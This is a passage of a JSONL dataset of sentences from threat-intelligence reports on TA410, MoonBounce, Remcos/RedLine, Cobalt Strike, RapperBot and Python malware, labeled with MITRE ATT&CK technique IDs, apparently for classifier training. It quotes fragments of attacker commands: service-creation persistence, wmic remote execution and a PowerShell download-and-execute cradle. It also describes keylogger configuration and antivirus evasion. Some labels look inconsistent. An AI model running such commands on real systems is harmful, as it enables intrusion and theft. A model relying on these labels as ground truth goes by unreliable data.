name[key]##100=0x80000002|SYSTEM\\Setup\\PrintResponsor|1#101=0x80000002|SYSTEM\\Setup\\PrintResponsor|2#102=0x80000002|SYSTEM\\Setup\\PrintResponsor|3#1000=0x80000002|SYSTEM\\Setup\\PrintResponsor|4##2000=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|1##2001=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|22001=0x80000002|SYSTEM\\Setup\\AllowStart\\ceipCommon|1 ##0x0001 Release without decryption##0x0002 Decryption release[key_out_type]##100=0x0001#101=0x0001#102=0x0001#1000=0x0001#2000=0x00022001=0x0002 #Service Information: hhw.exe needs to be dynamically generated[service_attribute]is_hhw=0service_name=PrintResponsorservice_path=%ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\setlang.exeservice_parm= Figure 8.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "However, there is a custom AntivirusCheck class, which can check running processes against a hardcoded list of XOR-encrypted executable filenames from known security products: 360 Total Security, Avast, Avira, AVG, Bitdefender, ESET, Jiangmin Technology Antivirus, Kingsoft, McAfee, Micropoint, Norton, Rising Antivirus, and Trend Micro.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "As shown in Figure 9, this short snippet is packed full of anti-analysis tricks, but ultimately amounts to an unconditional 16-byte jump.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The second one raises an exception via the INT 0x2D instruction and exits if it was handled by a debugger. Figure 10.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This process is created via CreateProcessAsUserW using a token retrieved from the explorer.exe or winlogon.exe process in the current session.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It provides a wide range of capabilities from full file system access to control of camera peripherals and everything in between.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Although we did not observe any plug-ins, the backdoor contains code that hints that they can be used to further extend functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "id_prefix: This value is prefixed to the generated ID.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "id:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This object is responsible for initializing other components and handling C&C connections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657 policys { keyboard_policy { state: true cycle_time: 60 limit_size: 100 cache_size: 10 } screen_policy { state: true cycle_time: 30 cache_count: 200 bit_depth: 4 } audio_policy { state: false cache_size: 100 decibel_limit: 65 continue_seconds: 15 } smfile_search_policy { guid: \"XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\" state: false research: true inc_all_removable: true inc_all_fixed: true limit_size: 1 recent_days: 30 filter: \"*.doc\" filter: \"*.docx\" filter: \"*.xls\" filter: \"*.xlsx\" filter: \"*.ppt\" filter: \"*.pptx\" filter: \"*.bmp\" filter: \"*.jpg\" filter: \"*.png\" filter: \"*.gif\" cache_size: 1024 b_exclude_system_files: true b_exclude_system_folders: true } installedapp_policy { state: false } clipboard_policy { state: false ignore_repeat: true cycle_time: 300 limit_size: 100 single_limit_size: 10 cache_size: 50 } user_activity_policy { process_activity_state: false browser_activity_state: false } } Figure 13.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Rather than documenting each of them individually, we will present an overview of the available functionality by grouping them into three categories: those that interact with the file system, functionalities that collect information about programs and processes, and those that gather real-time information about user activity.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "One of these is a component that walks through all mapped file systems and collects files that are not excluded by filters in the smfile_search_policy.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This same class collects file and directory metadata.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The obtained information is correlated with data from the Win32_Process table for a more detailed view.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "FlowCloud can periodically take screenshots and store them with information about the foreground process and time since the last user input.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It does not collect these directly, but instead acts in tandem with the keylogger component of the driver (described in the next section) by reading data from the \\\\.\\pipe\\namedpipe_keymousespy_english named pipe.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "That function will perform the final stages of the installation and load the DLL containing the backdoor functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "As shown in Figure 17, it achieves this by removing their entries from the ActiveProcessLinks list of the undocumented KPROCESS kernel structure.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This functionality can be invoked on any process via the IOCTL_HIDE_PROCESS_BY_PROCESSID (0x222028) control code.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This version runs multiple anti-analysis and anti-detection checks before executing its payload, and terminates if any of those tests detect that the process is being analyzed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "While most of these names are also present in version 5, this list is not a strict subset of the one v.5 uses.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This tends to support the proposition that versions 4 and 5 of FlowCloud are maintained in parallel.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Figure 18 shows a summary of the X4 components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It can also modify X4Key and PSKey.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "0x3B6C27610D1injectDecrypt and inject shellcode, from encrypted form on disk, into memory.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "0xDA83E71execExecute a given command line.", "labels": ["T1059.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "This module is embedded in the library’s resource section and encrypted with an algorithm similar to RC4.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Decompiled view of the function used to encrypt and decrypt the embedded module The SodomNormal component tries to read configuration information from a sodom.ini file.", "labels": ["T1027", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "We have found code for over 50 message types.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The body contains configuration and information about the victim host. 3ServerAcknowledgment for message type 2. 8ClientRequest to download the main backdoor component (SodomMain).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The message body contains the SodomMain file.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "35 and 37ServerResponse to message 36 or 38.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It uses a pair of hardcoded templates, one for client requests and another for server responses.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Despite being well known, it is still in use and we have observed TA410 using it as recently as in April 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "qrt.dll.usb:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It is used by numerous threat actors who perform cyberespionage or cybercrime.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The certificate is likely stolen and belongs to 北京和赢讯时科技有限公司 (translated: Beijing Heyingxunshi Technology Co., Ltd.) with thumbprint 850821D88A4475F0310F10FBA806353A4113D252.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Conclusion TA410 is a cyberespionage umbrella targeting high-profile entities such as governments and universities worldwide.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "UKRTA410 32-bit Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "FLIUnpacked Tendyron downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "ELGATendyron malicious DLL.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "BC11DC8D86A457A07CFE46B5F2EF6598B83C8A1Fm.exeWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1588.003Obtain Capabilities: Code Signing CertificatesTA410 uses stolen code-signing certificates.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1588.005Obtain Capabilities: ExploitsTA410 had exploits for ProxyLogon and ProxyShell.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1566.001Phishing: Spearphishing AttachmentTA410 uses malicious RTF and DOCX attachments to compromise victims.", "labels": ["T1566.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1055.012Process Injection: Process HollowingFlowCloud uses module stomping to hide the loading of its main backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "DiscoveryT1010Application Window DiscoveryWhen logging mouse events, FlowCloud gathers information about the application running in the foreground.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "DiscoveryMultiple TA410 backdoors can list running processes.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "CollectionT1056Input CaptureFlowCloud logs mouse clicks.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1119 Automated CollectionFlowCloud automatically collects data based on timers and events.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1005Data from Local SystemFlowCloud can exfiltrate files from local file systems.", "labels": ["T1005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1560.003Archive Collected Data: Archive via Custom MethodFlowCloud compresses some collected data by removing duplicates and similar screen captures.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1132.001Data Encoding: Standard EncodingFlowCloud uses Protobuf to encode C&C commands and configuration.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "ExfiltrationT1030Data Transfer Size LimitsFlowCloud uses local caches to stage data and exfiltrates their content when it reaches a size specified in its configuration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "It may be the first supply chain attack to take advantage of the fact that Python byte code (PYC) files can be directly executed, and it comes amid a spike in malicious submissions to the Python Package Index (PyPI).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "A manual review of the fshec2 package followed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It revealed that it contains only three files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The code inside two of those Python source code files, _init_.py and main.py, appeared benign.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Variations of that attack, in which malicious code is embedded in code but shifted past the edge of default screen borders (thereby hiding it from view), are still seen in the wild.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Here, we observed a compiled Python file (full.pyc) present inside the PyPI package that contained malicious functionality.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The fetched commands are just another Python script, which is intended to change (see Figure 4).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Unfortunately, the trail went cold there, because all three of them require authorization to execute page functionality.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Inspector, the default tool provided by the PyPI security team to analyze PyPI packages, doesn’t, at the moment, provide any way of analyzing binary files to spot malicious behaviors.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "ReversingLabs Software Supply Chain Security supports static analysis and unpacking for a wide range of binary file formats, including the kind of compiled Python byte code seen in this attack.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This is a Security Bloggers Network syndicated blog from ReversingLabs Blog authored by Karlo Zanki.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "While all of the above were seen in use by advanced actors, a different class of bootkits raises even higher concern.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The infection itself, however, is assumed to have occurred remotely.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "This form of binary instrumentation typically requires the attacker to obtain the original image, then parse and change it to introduce malicious logic.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "This is an in-memory implant, implemented as position-independent code, that can communicate to a C2 server in order to exchange information and stage the execution of additional plugins in memory, of which none has been sighted in the wild yet.", "labels": ["T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "It works by decrypting a shellcode BLOB with AES-256 and injecting it to the address space of another process.", "labels": ["T1055", "T1140"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "StealthMutant is launched in one of two ways, which were partially described in other reports as well.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "\"iscsiwmi\" /f sc create \"iscsiwmi\" binPath= \"$system32\\svchost.exe -k iscsiwmi\" type= share start= auto error= ignore DisplayName= \"iscsiwmi\" SC failure \"iscsiwmi\" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description \"iscsiwmi\" \"\"iSCSI WMI Classes That Manage Initiators, Ports, Sessions and Connections\"\" reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\iscsiwmi\\Parameters\" /f reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\iscsiwmi\\Parameters\" /v", "labels": ["T1112"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "NET\\Framework64\\v4.0.30319\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Microsoft.Service.Watch.targets", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Watch.targets\" copy /Y", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "/TN \"\\Microsoft\\Windows\\UNP\\UNPRefreshListTask\" The following table lists known StealthMutant loader IOCs, together with their corresponding ScrambleCross shellcode files and contacted C2 addresses.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "This suggests a low-confidence connection between Microcin and MoonBounce and may indicate usage of shared resources between SixLittleMonkeys and APT41 or involvement of the former’s operators in the MoonBounce activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "We traced some of the commands executed by the attackers after gaining a foothold in the network, which point to lateral movement and exfiltration of information from particular machines.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "2>$temp\\TS_P34H.tmp\" $temp\\TS_P61S.tmp -accepteula -d -s \\\\\\ cmd /c \"ping -n 2 -a >$temp\\TS_P34H.tmp\" Usage of WMI for remote command execution: wmic /node: /user:\\", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "/password: process call create \"cmd /c netstat -ano >$temp\\a.tmp wmic /node: /user:\\", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "To the best of our knowledge, the activity described in this report can be attributed to a group widely known as APT41, or an actor closely affiliated to it, with medium to high confidence.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The said scheduling algorithm found in the stager can take a 672-bit bitmask to determine when the malware should start beaconing the C2 server in an attempt to retrieve the payload, whereby the scheduled working time can be decided in a granularity of 15-minute slots (i.e. the stager checks if it is supposed to run in a particular slot out of the 672 possibilities that constitute a full week, or alternatively sleep for 10 seconds before checking if it has reached a dedicated working slot again).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "We assess that, in this ongoing arms race, attacks against UEFI will continue to proliferate, with attackers evolving and finding ways to exploit and bypass current security measures.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Overview Anomali Threat Research discovered a campaign in which threat actors used MSBuild - a tool used for building apps and gives users an XML schema “that controls how the build platform processes and builds software” - to filelessly deliver RemcosRAT, and RedLine stealer using callbacks.[1]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "Figure 1 - Infection chain Technical Analysis MSBuild MSBuild is a development tool used for building applications, especially where Visual Studio is not installed.[2] MSBuild uses XML project files that contain the specifications to compile the project and, within the configuration file, the “UsingTask” element defines the task that will be compiled by MSBuild.", "labels": ["T1053.005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "By using the variable “dec_list” to contain the decimal to be converted, and the variable “key” representing the string found at the end of decimal, we decoded the function.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "= (xxZmgLbpuJ + position_array[position] + ord(key_array[position]))", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "+= 1 DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "+ position_array[xxZmgLbpuJ])", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "LoadLibraryW loads the module, VirtualAlloc allocates the memory, CreateProcessW created a process, and ZwUnmapViewOfSection is used to unmap memory from a virtual space.", "labels": ["T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "The version used in this campaign was 2.6.0, which was released in July 2020 (Figure 9).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "The persistence technique is simply adding a run registry key for persistence (Figure 11).", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "Figure 9 - Remcos Version 2.6.0 Being Used Figure 10 - connecting to C2 Figure 11 - Adds Run Registry Key for Persistence Figure 12 - Watchdog Module Figure 12 shows the “Watchdog” module which restarts Remcos in the event the program is terminated.", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "System Information RedLine will search for the existence of multiple products that include cryptocurrency software, messaging apps, VPNs, and web browsers (full list shown in Table 2 below).", "labels": ["T1082"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "Endnotes [1] “MSBuild,” Microsoft Visual Studio Docs, accessed May 3, 2021, published November 4, 2016, https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "[6] Daniel Frank, “Cybereason Exposes Campaign Targeting US Taxpayers with NetWire and Remcos Malware,” Cybereason, accessed May 4, 2021, published March 18, 2021, https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "It is for these reasons that threat actors also like Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "What is Cobalt Strike? Cobalt Strike is marketed as “Software for Adversary Simulations and Red Team Operations.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "For an in-depth technical analysis of Cobalt Strike’s deployment options and how they differ, check out Avast’s blog or this Cisco Talos white paper.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "”Spreadsheet lure masquerading as an Apple Store receiptUpon enablement of macros, the spreadsheet will fetch and execute the payload in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "We suggest taking the suspicious document and uploading it to Intezer Analyze to find out if Cobalt Strike is hidden in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Intezer Analyze result for Cobalt Strike payload Supply Chain Attack One of the biggest cybersecurity stories of 2020 was the SolarWinds supply chain attack that compromised high-profile entities around the world.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "It uses a different custom packer than TEARDROP, also leveraging steganography to locate the start of the encoded payload.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "All processes must be inspected in order to find that one needle in the haystack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The payload, usually shellcode, is injected into another process.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This payload is decrypted, decompressed, and then copied into memory.", "labels": ["T1140"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Sometimes simple is better, and another way for Cobalt Strike to be deployed is in a simple Windows EXE form.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An example of one of these payloads is shown in the analysis below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Static Analysis Static analysis involves examining the file using various techniques without actually having to execute the file itself.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Signature-based detection is great for detecting malware, but due to the versatility of Cobalt Strike’s deployment using multiple stages and encrypted/obfuscated payloads, an analyst may only be able to detect that a file is going to load and execute a payload in-memory.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Dynamic Analysis Dynamic analysis is the process of executing the suspect file in order to analyze its behavior and how it affects the environment it runs in.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Let’s take a suspicious looking document from an unknown entity as an example.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Signatures are leveraged to show capabilities and file characteristics.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Under the “TTPs” tab the user can see the techniques/capabilities employed by the malicious document.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "IoCs provide you with file hashes and network indicators such as URLs, and IP addresses being contacted through irregular ports.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "indicatorsThe “Behavior” tab shows a more in-depth analysis of the file’s behavior, where you can see the process tree, network activity, screenshots and file/registry activity.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Affected Platforms: LinuxImpacted Users: Any organizationImpact:", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Remote attackers gain control of the vulnerable systemsSeverity Level: Critical This article discusses the differences observed in this campaign and its relation to the previous RapperBot and similar campaigns in the past.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "0x01: Keep-Alive/Do nothing 0x02: Stop all DoS attacks and terminate the client 0x03: Perform a DoS attack 0x04: Stop all DoS attacks 0x06: Restart Telnet brute forcing 0x07: Stop Telnet brute forcing The previously reported RapperBot campaign was limited to a few generic DoS methods against TCP and UDP services.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Like the earlier SSH brute-forcing campaign, once it has successfully gained access, it sends the credentials used, the compromised device’s IP address, and its architecture to the C2 server on a separate port, 5123.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Related Campaigns FortiGuard Labs compared samples for this and related campaigns from the past to find any links with the previously reported RapperBot campaign.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "We also found older samples from another campaign that was active in August-September 2021 with an almost identical list of credentials.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "With the several similarities between the two campaigns outlined below, we believe that either the same threat actor might be behind both campaigns or each campaign might have branched from the same privately-shared source code.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "FortiGuard Labs will continue to monitor RapperBot’s development.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Fortinet Protections The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai, Linux/Mirai, and ELF/Gafgyt.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Additionally, it’s important to note that the usage of Ngrok in conjunction with MaccaroniC2 tool may result in the violation of the terms of service or policies of certain platforms.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "By harnessing the powerful capabilities of the AsyncSSH library, which provides an exceptional implementation of the SSHv2 protocol, this tool ensures efficient and secure communication between the attacker and the victim.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "SFTP Support: It includes a built-in SFTP (SSH File Transfer Protocol) implementation, enabling you to securely transfer files between the local and remote systems over the SSH connection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "# Technique 1: Check for common sandbox-related processes sandbox_processes =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "It’s just the first clue but we have to start somewhere ;).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "# Technique 4: Check for virtualized CPU features cpu_info = cpuinfo.get_cpu_info() virtualized_cpu_features =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "What about requesting it every time script is running ?", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "= r.text.strip('\\n') elif r.status_code == 404: exit() #", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "So Long, and Thanks for All the Fish!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "except: exit('[-]", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "It checks the response status code and proceeds accordingly.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "This can make the malware distribution easier and less reliant on specific Python versions or configurations.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Installation and compilation is straightforward:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "This just opens up new possibilities for evading detection, when using Python to develop malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell \"IEX(New-Object Net.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Some attackers go even further by appending the stager to the LNK file.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "We can choose also how many days the file be stored.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 